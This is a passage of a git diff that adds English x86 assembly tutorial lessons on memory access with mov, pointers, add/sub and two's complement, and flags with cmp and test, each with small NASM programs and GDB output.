+eax 0x0 0
+0x804a000: 42
+```
+
+`eax` is still `0` (no loading has happened), but **`sayi` in memory** is already `42` — because we put it there with `dd 42`. The `0x804a000` on the left is sayi's **address** (we'll use that big number in a moment on the pointer tour).
+
+Now run `mov eax, [sayi]`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x2a 42
+```
+
+**That's FETCH.** `eax` is now `42` (`0x2a`, from 03: the hexadecimal of 42) — the value came from memory into the pocket. The "pull from warehouse into pocket" step we drew as a Turkish draft in 04, you've now done for the first time with a real instruction.
+
+---
+
+## DROP: From a Register to Memory
+
+Now the reverse direction — the **DROP** step of 04: put a value from the pocket (or from our hand) into the warehouse. The destination is bracketed (an address), the source is the value:
+
+```nasm
+mov dword [sayi], 99 ; "write 99 to sayi's address"
+```
+
+The `dword` here is a small but necessary detail: when writing **a number directly** (99) into memory, the worker can't know "how many bytes should I write — 1 or 4?" (99 fits in all of them). `dword` tells it "write 4 bytes." (If the source were a register — `mov [sayi], eax` — you wouldn't need to write this, since a register is already 4 bytes.)
+
+Continue in gdb from where we left off — do one `si`, then look at **memory**:
+
+```
+(gdb) si
+(gdb) x/1dw &sayi
+```
+
+```
+0x804a000: 99
+```
+
+**That's DROP.** The memory box that was `42` a moment ago is now `99`. You saw with your own eyes that you changed memory *itself* — not a register, but a box in the warehouse. Let's read it one more time as proof (`mov eax, [sayi]`):
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x63 99
+```
+
+`eax` is `99` this time, not `42` (`0x63`) — because 99 is now written in memory. FETCH → DROP → FETCH again: you've spun 04's dance from start to finish with real instructions. (When the program ends, `echo $?` — in fish: `echo $status` — says **99**; because on exit the 99 we put into `ebx` is read.)
+
+> 💡 Forward note: with `x/1dw` we looked at memory as "one big number" and saw a clean `42`/`99`. But how those 4 bytes are laid out in memory *one by one* — which byte comes first? — has its own peculiar rule that seems strange at first glance. We'll open up this "exactly reversed" surprise in the next short lesson ([08.5_little_endian](./08.5_little_endian.md)) by looking at memory byte by byte. For now, "`[sayi]` = the value there" is enough.
+
+---
+
+## Your First Pointer Follow
+
+Now we make 04's most powerful seed bloom. There we said: a box can hold, instead of the actual data, **where the actual data is** (its address) — we called this a **pointer** (like a coat-check ticket: the ticket isn't your coat, it tells you the *location* of your coat). And we drew that "go to the place someone points to" is two steps. Now we take those two steps with a real instruction.
+
+The key idea: a **register** can hold an address inside it. If it does, that register is a pointer — and with `[...]` we can *follow* it. `pointer.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov ebx, sayi ; ebx = sayi's ADDRESS (NO brackets → not the value, the address)
+ mov eax, [ebx] ; go to the place ebx points to, take what's there into eax
+ mov ebx, eax ; the result into the exit code (ebx's pointer duty is done)
+ mov eax, 1
+ int 0x80
+```
+
+Pay attention to two instructions, because the whole lesson is in these two:
+- `mov ebx, sayi` → **no brackets.** So put sayi's **address** into ebx. Now ebx is a pointer — inside it is not a value, but a *place*.
+- `mov eax, [ebx]` → **with brackets.** "Go to the address inside ebx, take the value there." That is, **follow** the pointer.
+
+Assemble, watch in gdb:
+
+```
+nasm -f elf32 pointer.asm -o pointer.o
+ld -m elf_i386 pointer.o -o pointer
+gdb ./pointer
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov ebx, sayi
+(gdb) info registers ebx eax
+```
+
+The real output:
+
+```
+ebx 0x804a000 134520832
+eax 0x0 0
+```
+
+**Look inside `ebx`:** `0x804a000` — a big number, but not a **value**, sayi's **address** (its place in memory). `eax` is still 0. ebx is now a pointer: it holds not 42, but *where* 42 is. Exactly the "box 5 points to box 12" picture from 04 — here ebx points to sayi.
+
+Now follow the pointer:
+
+```
+(gdb) si # mov eax, [ebx]
+(gdb) info registers ebx eax
+```
+
+```
+ebx 0x804a000 134520832
+eax 0x2a 42
+```
+
+**That's a pointer follow.** `eax` became `42` — but we didn't write this 42 directly; we *went to the address ebx points to* and took it from there. `ebx` still holds the address (unchanged), while `eax` holds the value at that address. In 04 we said "first look at box 5 (12 inside it), read that 12 as an address, go to box 12 (the actual value is there)" — that's exactly what you did, with real instructions. (`echo $?` → **42**.)
+
+> 🔑 A pointer = a register that holds an address. `mov ebx, sayi` (no brackets) puts the **address** into ebx; `mov eax, [ebx]` (with brackets) goes to that address and takes the **value** — that is, it *follows* the pointer. The difference is a single pair of square brackets.
+
+> 💡 **You might be wondering:** *"`mov eax, [sayi]` already gave 42. Why do I need `mov ebx, sayi` + `mov eax, [ebx]` — two instructions for the same result?"* In this example, yes, it's the same. But the difference is this: in `[sayi]` the address is **embedded/fixed in the code.** In a pointer, the address is in a **register**, that is, *changeable* — you can put another address into ebx and reach a completely different box with the same `[ebx]` instruction. Walking through an array, carrying big data from hand to hand by its address (04) — all of it happens with this. Fixed `[sayi]` is a single door; `[ebx]` is the key that **opens whichever door you want**.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ [...] = "this is an address, go there, use the value there." (04's address/value distinction, in an instruction.)
+ - mov eax, 5 → 5 into eax (value)
+ - mov eax, [5] → the contents of box NUMBER 5 into eax
+☐ section .data + label = putting a named box in memory.
+ - sayi: dd 42 → a 4-byte box named "sayi", 42 inside. (db=1, dw=2, dd=4 bytes)
+ - sayi = address (the box's place) · [sayi] = value (the box's contents).
+☐ FETCH (memory → register): mov eax, [sayi] → eax = the value in memory (42).
+☐ DROP (register/value → memory): mov dword [sayi], 99 → write to memory.
+ - When writing a number DIRECTLY to memory, state the size: dword (4 bytes). Not needed if the source is a register.
+☐ Look at memory in gdb: x/1dw &sayi → show the dword at that address. (&sayi = sayi's address)
+☐ POINTER = a register that holds an address.
+ - mov ebx, sayi (no brackets) → ebx = ADDRESS (pointer).
+ - mov eax, [ebx] (with brackets) → FOLLOW the pointer → eax = the value at that address (42).
+ - The difference: [sayi]'s address is fixed; [ebx]'s address is in a register → changeable (that's the real power).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the FETCH→DROP dance and the pointer seed (address/value) were drawn; this lesson is its real instructions
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — The first (register-to-register) form of `mov`
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The tool we used here to look live at memory (`x`) and registers
+- 09_aritmetik.md 🚧 *(being written)* — The "PROCESS" step: no longer just moving, but doing arithmetic with the numbers you move
+
+---
+
+**Previous topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+**Next topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
new file mode 100644
index 0000000..8c679ec
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
@@ -0,0 +1,365 @@
+# ➕ x86 Assembly — Arithmetic: `add`, `sub`, and the Secret of Negative Numbers
+
+> In 04 we sketched the worker's dance: **FETCH** (from storage to the pocket) → **WORK** (compute in the pocket) → **DROP** (from the pocket back to storage).
+> In 08 we did **FETCH** and **DROP** with the real `mov` instruction — but the middle step, **WORK**, stayed empty: we kept moving things around, never actually *computing.*
+> That missing piece gets filled in this lesson. With `add` and `sub` you make the machine do a **calculation** for the first time; then we pay off a debt we left in 06 — "how do negative numbers fit into a byte?"
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I assembled and ran them on my own machine, and the numbers you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [`add`: The Worker's Add Order](#add-the-workers-add-order)
+- [The First Calculation Program](#the-first-calculation-program)
+- [Watch It in GDB: Addition Live](#watch-it-in-gdb-addition-live)
+- [`sub`: Subtraction](#sub-subtraction)
+- [`inc` / `dec`: Add One, Subtract One](#inc--dec-add-one-subtract-one)
+- [The Secret of Negative Numbers: Two's Complement](#the-secret-of-negative-numbers-twos-complement)
+- [The Whole Dance: FETCH → WORK → DROP](#the-whole-dance-fetch--work--drop)
+
+---
+
+## `add`: The Worker's Add Order
+
+In 01, when we looked at the kinds of orders the worker can take, we put "**compute**" in second place. The most basic one is addition, and its real name is `add` (English *add*, "to add").
+
+Its spelling looks a lot like `mov` — it takes two boxes:
+
+```nasm
+add destination, source ; "into destination, ADD source"
+```
+
+But there's one difference from `mov`, and the whole point is in that difference:
+
+- `mov eax, 3` → eax's old value is **erased**, and 3 takes its place. (*puts*)
+- `add eax, 3` → eax's old value **stays**, and 3 is added on top. (*adds*)
+
+So `add` doesn't zero out the target; it puts it **on top of what's already there**. If eax holds 5 and you say `add eax, 3`, eax now becomes 8 (5 + 3). This is the most basic form of 04's **WORK** step.
+
+> 🔑 `add destination, source` = "destination = destination + source." Unlike `mov`, it doesn't erase the old value, it adds on top. `mov` puts, `add` accumulates.
+
+---
+
+## The First Calculation Program
+
+Now let's make the machine do an addition for the first time. `topla.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5 ; eax = 5
+ add eax, 3 ; eax = 5 + 3 = 8
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+You can now read every one of these lines: `mov eax, 5` puts down the five, `add eax, 3` adds three on top (eax = 8), `mov ebx, eax` moves the result into the exit code. Assemble, link, and run with the familiar chain:
+
+```
+nasm -f elf32 topla.asm -o topla.o
+ld -m elf_i386 topla.o -o topla
+./topla
+echo $?
+```
+
+What you'll see (in the fish shell, `echo $status`):
+
+```
+8
+```
+
+**There's your first calculation.** You didn't write this `8` directly — the machine did `5 + 3` *itself.* In 06 you were *telling* the machine a number; now you're making it *perform* an operation.
+
+---
+
+## Watch It in GDB: Addition Live
+
+Recall from 06 the "difference between knowing and seeing." Let's watch with our own eyes how `add` changes eax (the habit from 07):
+
+```
+gdb ./topla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First run `mov eax, 5`, then look at eax:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x5 5
+```
+
+`eax` is now `5`. Now for the main event — `add eax, 3`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x8 8
+```
+
+**There's WORK.** `eax` went from `5` to `8` — the machine added right before your eyes. `add` didn't erase the old 5; it added 3 on top. The "compute in the pocket" step we sketched as a rough draft in 04 you've now done for the first time with a real instruction.
+
+---
+
+## `sub`: Subtraction
+
+Subtraction is addition's sibling: `sub` (English *subtract*). The rule is exactly the same, it just subtracts instead of adds:
+
+```nasm
+sub destination, source ; "destination = destination − source"
+```
+
+`cikar.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10 ; eax = 10
+ sub eax, 4 ; eax = 10 − 4 = 6
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, run, `echo $?`:
+
+```
+6
+```
+
+`10 − 4 = 6`. `add` and `sub` — the worker's two basic calculations. Both follow the same template: "update the target with the source." Addition accumulates, subtraction diminishes.
+
+> 💡 While doing `add`/`sub`, the worker also keeps little notes on the side: "did the result come out zero? did it overflow?" and so on. These notes are called **flags** (*flag*), and we're ignoring them for now — but in the next lesson (10) they'll be the foundation of every *decision* (if, loop). For now, "add adds, sub subtracts" is enough.
+
+---
+
+## `inc` / `dec`: Add One, Subtract One
+
+Two more tiny instructions you'll need very often — to increase or decrease a number by **exactly 1**:
+
+- `inc destination` → increase the target by 1 (*increment*). `inc eax` does the same job as `add eax, 1`.
+- `dec destination` → decrease the target by 1 (*decrement*). `dec eax` = `sub eax, 1`.
+
+`incdec.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; 7
+ inc eax ; 8
+ inc eax ; 9
+ dec eax ; 8
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+8
+```
+
+`7 → 8 → 9 → 8`. Why a separate instruction? Because "counting one by one" is so common (especially in loops) that the machine gave it a shortcut. While advancing a counter you'll see `inc` constantly.
+
+---
+
+## The Secret of Negative Numbers: Two's Complement
+
+Now we keep the promise we made in 06. There, when we did `mov ebx, -5`, we saw `echo $?` say **251**, and we said "we'll explain how in 09." Here we are in 09.
+
+Let's state the question clearly first. `sub` subtracts — but what happens if the result drops below zero? Let's try. `eksi.asm`: `5 − 8`, that is **−3**.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ sub eax, 8 ; eax = 5 − 8 = −3 ... but how does a negative fit in a byte?
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+253
+```
+
+**There's the puzzle.** We expected `−3` but got `253`. Asking GDB opens the secret a bit:
+
+```
+(gdb) si # mov eax, 5
+(gdb) si # sub eax, 8
+(gdb) info registers eax
+```
+```
+eax 0xfffffffd -3
+```
+
+Look how nicely: GDB shows `eax` both in its raw form (`0xfffffffd`) and as "this is actually **−3**." So the machine holds `−3` in its memory as `0xFFFFFFFD`. But why does this number mean `−3`?
+
+### Think of it like an odometer
+
+When a car's odometer is at `000` and you go **back** one, what happens? It rolls over to `999`. That's exactly the machine's negative logic: **one back from 0 = the very top.**
+
+For a single byte (0–255):
+
+```
+ 0 − 1 → 255 (that is, 255 means "−1")
+ 0 − 2 → 254 ( "−2")
+ 0 − 3 → 253 ( "−3") ← our result!
+```
+
+Just as a number wraps from the bottom when it overflows upward (06: `300 → 44`), when it overflows downward into the negatives it wraps from the **top**. `5 − 8` gives `253`, which corresponds to `−3`. The `−5 → 251` in 06 is exactly this: `−5` = `256 − 5` = `251`.
+
+### The recipe: flip the bits, add 1
+
+There's a short way to produce a number's negative — **flip all the bits, then add 1.** For `3` (as a byte):
+
+```
+ 3 = 0000 0011
+ bits flipped = 1111 1100 (0xFC)
+ + 1 = 1111 1101 (0xFD = 253 = −3)
+```
+
+So the byte form of `−3` is `0xFD` (253). In 32 bits the same trick is written longer: `0xFFFFFFFD` — exactly what GDB showed above. The name of this "flip + add 1" trick is **two's complement**.
+
+### Why is it so clever? Because there's no such thing as subtraction
+
+Here's the beautiful part, and the peak of 01's theme that "the machine is actually very simple": the machine has **no** separate "subtraction circuit." Subtraction is just **adding the negative.** `5 − 3`, in the machine's eyes, is `5 + (−3)`.
+
+Let's prove it. We said the byte form of `−3` is `253` (in 32 bits, `0xFFFFFFFD`). Then, instead of `5 − 3`, if we directly **add** `0xFFFFFFFD` to `5`, we should also get `2`. `negekle.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ add eax, 0xFFFFFFFD ; 5 + (−3 in two's complement form)
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+2
+```
+
+**There's the proof.** We didn't write `sub eax, 3` — we added `−3` with `add`, and `5 − 3 = 2` came out. So `sub`, behind the curtain, is nothing more than "add the negative." The machine both adds and subtracts with a single addition circuit; two's complement is the trick that makes it possible.
+
+> 🔑 The machine holds a negative number with **two's complement**: flip the bits + add 1 (`−3` → `0xFD`/`0xFFFFFFFD`). A number that overflows downward wraps from the top (`0−3 → 253`), just like an odometer — this is the answer to the `−5 → 251` puzzle from 06. And the real beauty: subtraction isn't a separate job, it's just **adding the negative** — the machine does both with a single addition circuit.
+
+> 💡 **You might be wondering:** *"How does the machine know whether `253` is `−3` or really `253`?"* It doesn't — and this should feel familiar, because it's [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) itself: the same bit sequence is `253` in one instruction's eyes and `−3` in another's. The difference is decided by the instruction that says whether to read the number as **signed or unsigned** (GDB, in saying "−3" above, chose the signed reading). The same number, two meanings; the meaning is again given by the code.
+
+---
+
+## The Whole Dance: FETCH → WORK → DROP
+
+Now all three steps are in your hands. In 04 we sketched exactly this task as a rough draft:
+
+```
+ Task: add the number in box 100 to the number in box 200, write the result to box 300.
+ FETCH: box 100 → EAX
+ WORK : add box 200 on top
+ DROP : write the result back to the box
+```
+
+Back then we said "we'll see the real instructions later." Here they all are, ready. `dans.asm`:
+
+```nasm
+section .data
+ a: dd 100
+ b: dd 200
+ sonuc: dd 0
+
+section .text
+ global _start
+
+_start:
+ mov eax, [a] ; FETCH: pull a into the pocket (eax = 100)
+ add eax, [b] ; WORK : add b on top (eax = 300)
+ mov [sonuc], eax ; DROP : drop the result into storage
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+A small nicety: in `add eax, [b]` we read the operand **directly from memory** — without first pulling it into the pocket with a separate `mov`. In 04 we made an honest note that "x86 sometimes allows a shortcut, you can touch a memory box directly" — well, this is that shortcut.
+
+Let's watch the dance step by step in GDB:
+
+```
+gdb ./dans
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # FETCH mov eax, [a]
+(gdb) si # WORK add eax, [b]
+(gdb) si # DROP mov [sonuc], eax
+(gdb) x/1dw &sonuc
+```
+
+The real output, step by step:
+
+```
+FETCH → eax = 100 (a came from memory into the pocket)
+WORK → eax = 300 (b added on top: 100 + 200)
+DROP → x/1dw &sonuc = 300 (result written to storage)
+```
+
+**There's the whole dance.** That picture we sketched from afar in 04 — pull from storage, add in the pocket, drop back to storage — has now turned in your own hands, with real instructions. Everything we called "later" in Unit 0 has come down to here, to a single working program.
+
+> 🔑 `mov [a]` (FETCH) → `add [b]` (WORK) → `mov [sonuc]` (DROP): the whole fetch-work-drop dance of 04, with real instructions. A program is most often a repetition of this skeleton: pull the data, compute on it, store the result.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ add destination, source = destination + source → destination. (mov PUTS, add ADDS: doesn't erase the old, piles on top.)
+ - mov eax,5 + add eax,3 → eax = 8. (the WORK step: 04's missing piece)
+☐ sub destination, source = destination − source → destination. (10 − 4 = 6.)
+☐ inc / dec = increase / decrease by exactly 1. inc eax ≡ add eax,1 ; dec eax ≡ sub eax,1. (common in counters.)
+☐ Negative numbers = TWO'S COMPLEMENT: flip the bits + add 1. −3 → 0xFD (byte) / 0xFFFFFFFD (32-bit).
+ - Downward overflow wraps from the top: 0−3 → 253. (the answer to 06's −5→251.) Since the exit code is a byte, 5−8 → 253.
+ - Subtraction is NOT a separate job: sub = "add the negative." The machine does both with a single addition circuit.
+ Proof: add eax, 0xFFFFFFFD (i.e. +(−3)) → 2 comes out of 5.
+☐ add/sub also keep "flags" on the side (is it zero, did it overflow) → the foundation of decisions, in lesson 10.
+☐ The whole dance (dans.asm): mov [a] (FETCH) → add [b] (WORK) → mov [sonuc] (DROP) → sonuc = 300.
+ 04's 100+200→300 example, now real and working. This is the skeleton of programs.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — where the "FETCH → WORK → DROP" dance was sketched; this lesson fills in its **WORK** step
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — `mov` and the exit code; where the `−5 → 251` puzzle was asked (and here answered)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — the **FETCH** and **DROP** steps of the dance; reaching into memory with `[...]`
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Same number, different meaning": the root of the `253` or `−3`? question
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live what an instruction does with `si` + `info registers`
+
+---
+
+**Previous topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+**Next topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
new file mode 100644
index 0000000..8105206
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -0,0 +1,245 @@
+# 🚩 x86 Assembly — Flags and `cmp`: How the Worker Prepares a Decision
+
+> At the end of 09 we made a small promise: while the worker does `add`/`sub` it keeps notes on the side — *"did the result come out zero? was it negative?"* — and these notes are called **flags**; we said "the foundation of every decision is in 10." Here we are, in 10.
+> But careful: this lesson does not *make* the decision. The decision will be made by the next lesson (11, the jumps). Here we build the **raw material** of the decision — because before the machine can decide on something, it has to *note* it down somewhere. That notebook is the flags.
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I compiled and ran them on my own machine, and the `eflags` lines you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is a Flag? The Worker's Margin Note](#what-is-a-flag-the-workers-margin-note)
+- [`cmp`: Compare Without Destroying the Value](#cmp-compare-without-destroying-the-value)
+- [Three Cases: Equal, Greater, Less](#three-cases-equal-greater-less)
+- [A Common Shortcut: `test eax, eax`](#a-common-shortcut-test-eax-eax)
+- [A Flag Alone Does Nothing](#a-flag-alone-does-nothing)
+
+---
+
+## What Is a Flag? The Worker's Margin Note
+
+In 09 you had a calculation done: `add eax, 3`. As the worker did it, even if you didn't ask, it put a few marks into a tiny notebook on the side:
+
+- *"Did this operation's result come out to exactly **zero**?"*
+- *"Is the result **negative** (is the top bit 1)?"*
+- *"Did the number overflow, was there a carry?"*
+
+Each of these marks is a single **bit** — either on (1) or off (0). Their name is **flag**. After every `add`/`sub`/`cmp` the worker updates these flags **automatically**; you don't have to give an extra order, when the job is done it writes into the notebook on its own.
+
+All the flags sit side by side in a single special register: **`eflags`**. In 04.5 we saw that a register is "the same bits, a different window"; `eflags` is a register too, but each bit inside it has a **separate meaning** — one is "zero?", one is "negative?", and so on.
+
+Right now only **two** of them concern us:
+
+| Flag | Abbreviation | What it says | When it becomes 1 |
+|:---:|:---:|---|---|
+| Zero flag | **ZF** (*Zero Flag*) | "Is the result zero?" | When the result comes out exactly **0** |
+| Sign flag | **SF** (*Sign Flag*) | "Is the result negative?" | When the top bit of the result is **1** (that is, negative) |
+
+> 🔑 A **flag** = a single bit in the `eflags` register; the margin note the worker keeps about the result of a calculation. **ZF** = "the result was zero", **SF** = "the result was negative". `add`/`sub`/`cmp` update these on their own.
+
+---
+
+## `cmp`: Compare Without Destroying the Value
+
+The first step of making a decision is to **compare**: "are these two numbers equal? which is bigger?" So how do you compare two numbers? With a familiar trick: **subtract** one from the other and look at the result.
+
+- If the difference is **zero** → they are equal.
+- If the difference is **negative** → the first one is smaller.
+
+But there's a problem. If you do `sub eax, ebx`, eax's **old value is destroyed** — you wrote the result over it. But usually you want to use the number you compared *afterwards* too; you don't want to throw it in the trash just to take a look.
+
+This is exactly what `cmp` (from *compare*) is for: **it does the subtraction, but doesn't write the result anywhere — it only sets the flags.**
+
+```nasm
+cmp eax, ebx ; internally computes eax - ebx, DISCARDS THE RESULT, only sets ZF/SF
+```
+
+So `cmp` is `sub`'s "value-preserving" sibling: it does the same subtraction, but the only trace it leaves is the **flags**. Let's prove it. `esit.asm` — let's compare two equal numbers:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, 7
+ cmp eax, ebx ; 7 - 7 = 0 → ZF should turn on
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+Assemble, run (with the 07 habit, we'll look in GDB):
+
+```
+nasm -f elf32 esit.asm -o esit.o
+ld -m elf_i386 esit.o -o esit
+```
+
+Let's run `cmp` and look at both the flags and eax/ebx:
+
+```
+gdb ./esit
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov eax, 7
+(gdb) si # mov ebx, 7
+(gdb) si # cmp eax, ebx
+(gdb) info registers eflags
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eflags 0x246 [ PF ZF IF ]
+eax 0x7 7
+ebx 0x7 7
+```
+
+Notice two things at once:
+
+1. **`ZF` is there** — inside the square brackets. Because `7 - 7 = 0`, the worker jotted down the "result is zero" note. The flag turned on.
+2. **eax is still 7, ebx is still 7.** `cmp` compared the numbers but **broke neither of them.** You compared without destroying the value — that's the whole talent of `cmp`.
+
+If you'd written `sub eax, ebx` to compare, ZF would still turn on, **but** eax would become `0` — you'd lose the 7. If you tried the same program with `sub` instead of `cmp`, you'd see eax as `0` in GDB. `cmp` = "subtract but don't touch the value."
+
+> 🔑 `cmp a, b` internally does `a - b` but **writes the result nowhere** — it only sets the flags (ZF/SF). It's `sub`'s value-preserving sibling: the number you compared stays in place. This is the standard way to compare.
+
+> 💡 **You might be wondering:** *"the eflags output also has `PF` and `IF` — what are those?"* GDB shows **all** of the flags that are on in `eflags`; not all of them are ours. `IF` (interrupt flag) is on almost all the time, it's about the operating system, it doesn't concern you. `PF` (parity) is also off-topic for now. In this lesson, follow only **ZF** and **SF**; ignore the rest. (Remember 00's promise: there's no hidden business here — only "not needed for now.")
+
+---
+
+## Three Cases: Equal, Greater, Less
+
+A comparison has three possible outcomes: equal, the first is greater, the first is smaller. We'll distinguish all three with the same `cmp` — the only difference being which flags turn on. Let's run all three programs and look at `eflags` (all of them are identical to the `esit.asm` skeleton above, only the numbers change).
+
+**Equal** — `cmp 7, 7` (the `esit` above):
+
+```
+eflags 0x246 [ PF ZF IF ] → ZF on
+```
+
+**First is greater** — `buyuk.asm`, `cmp 9, 4` (difference `+5`, positive):
+
+```
+eflags 0x206 [ PF IF ] → neither ZF nor SF
+```
+
+**First is smaller** — `kucuk.asm`, `cmp 4, 9` (difference `-5`, negative):
+
+```
+eflags 0x293 [ CF AF SF IF ] → SF on
+```
+
+Let's put it in a table — this is the core of the decision logic:
+
+| Comparison | Internal difference | ZF | SF | What it means |
+|---|:---:|:---:|:---:|---|
+| `cmp 7, 7` | 0 | **1** | 0 | **equal** (difference zero) |
+| `cmp 9, 4` | +5 | 0 | 0 | first is **greater** (difference positive) |
+| `cmp 4, 9` | −5 | 0 | **1** | first is **smaller** (difference negative) |
+
+It reads very simply:
+
+- If **ZF = 1**, the two numbers are **equal** (because the difference is zero).
+- If **ZF = 0, SF = 1**, the first number is **smaller** (the difference dropped below zero. Negative numbers like `0xFFFFFFFD` from 09 always start with the leftmost bit; in two's complement the **top bit = the "is it negative" mark** — and SF simply copies that bit).
+- If **ZF = 0, SF = 0**, the first number is **greater** (the difference is positive, not zero).
+
+This is how the worker "remembers" the "which is bigger" question: it doesn't actually remember — it just leaves two bits, and you (or rather, the next instruction) look at those two bits and read the decision.
+
+> 💡 **You might be wondering:** *"in `cmp 4, 9`, `CF` and `AF` also turned on — do I have to read those too?"* No, not for now. Also, an honest warning: the rule "if SF is on, the first is smaller" works cleanly here, but for **very large** numbers (in the edge cases where overflow gets involved) SF alone can mislead you. Good news: you'll **never** have to work out this subtlety by hand — instructions like `jl` ("jump if less") and `jg` ("jump if greater"), which you'll meet in lesson 11, know the correct flag combination *themselves*. So you won't compute the "which is bigger" decision flag by flag; `cmp` sets it, the jump instruction reads it correctly. For now it's enough that you see the picture.
+
+---
+
+## A Common Shortcut: `test eax, eax`
+
+There's one comparison you need very, very often: *"is this register zero?"* (Did a counter finish, is a result empty, is a flag value 0...) You could do it with `cmp eax, 0` — but in assembly almost everyone writes this instead:
+
+```nasm
+test eax, eax ; "is eax zero?" → if zero, ZF=1
+```
+
+`test`, like `cmp`, is an instruction that "discards the result and only sets flags." When `test eax, eax` is used, its practical result is one sentence: **if eax is zero, ZF turns on, otherwise it stays off.** (By the way: `test eax, eax` actually sets SF too — if eax is negative, SF=1 — but in this "is it zero" shortcut we only look at ZF.) Let's see it with two programs.
+
+`testsifir.asm` (eax = 0):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? → ZF=1
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+`testdolu.asm` — the only difference is `mov eax, 42`. In both, `eflags` after `test`:
+
+```
+testsifir (eax=0) → eflags [ PF ZF IF ] → ZF ON (eax was zero)
+testdolu (eax=42) → eflags [ IF ] → no ZF (eax was non-empty)
+```
+
+This is the standard form of the "is it zero?" test: `test eax, eax` → look at ZF. You'll see this all over the place in loop counters and "is it empty or full" checks.
+
+> 💡 **You might be wondering:** *"what does `test` do internally, exactly? Why do we write `eax, eax` twice?"* The operation inside `test` is a **bit operation** (`and`) and we haven't seen it yet — so I'll leave the mechanism as a closed box for now: **we'll open it fully in lesson 13 (`and`/`or`/`xor`).** The only thing you need in this lesson is its function: `test eax, eax` asks "is eax zero" and puts the answer in ZF. (Why this instead of `cmp eax, 0`? Because it's shorter/faster — but the reason belongs to 13.)
+
+---
+
+## A Flag Alone Does Nothing
+
+Let's be honest: the programs in this lesson actually **did nothing.** We compared, flags turned on — but then what? The program just flowed straight down again and exited. A flag turning on, on its own, did **not** change the program's behavior.
+
+And that's exactly what's expected. Because a flag is not the decision **itself**, it's the decision's **raw material**. Think of the chain like this:
+
+```
+ cmp / test → SETS the flag (this lesson: 10)
+ ↓
+ jz / jnz / jl / jg → READS the flag and JUMPS somewhere accordingly (next lesson: 11)
+```
+
+Up to now we've always told the worker "advance in order, line by line" — the program is a single path from top to bottom. In the next lesson, for the first time, we'll **break** that straight path: "if ZF is on jump over there, otherwise keep going from here." That moment — the program branching onto **different paths** depending on whether a flag is on or off — is the very thing we call a computer "making a decision." And without the flags you set today, that decision is impossible.
+
+> 🔑 `cmp`/`test` **set**, the jump instructions **read.** A flag is the bridge that carries the "was it equal / was it greater" information from one instruction to the next. On its own it doesn't change the program; the jumps in 11 bring it to life. That's why there's no 11 without 10.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FLAG = a single bit in the eflags register; the worker's margin note about the result of a calculation.
+ add / sub / cmp / test update these ON THEIR OWN.
+☐ Two flags matter in this lesson:
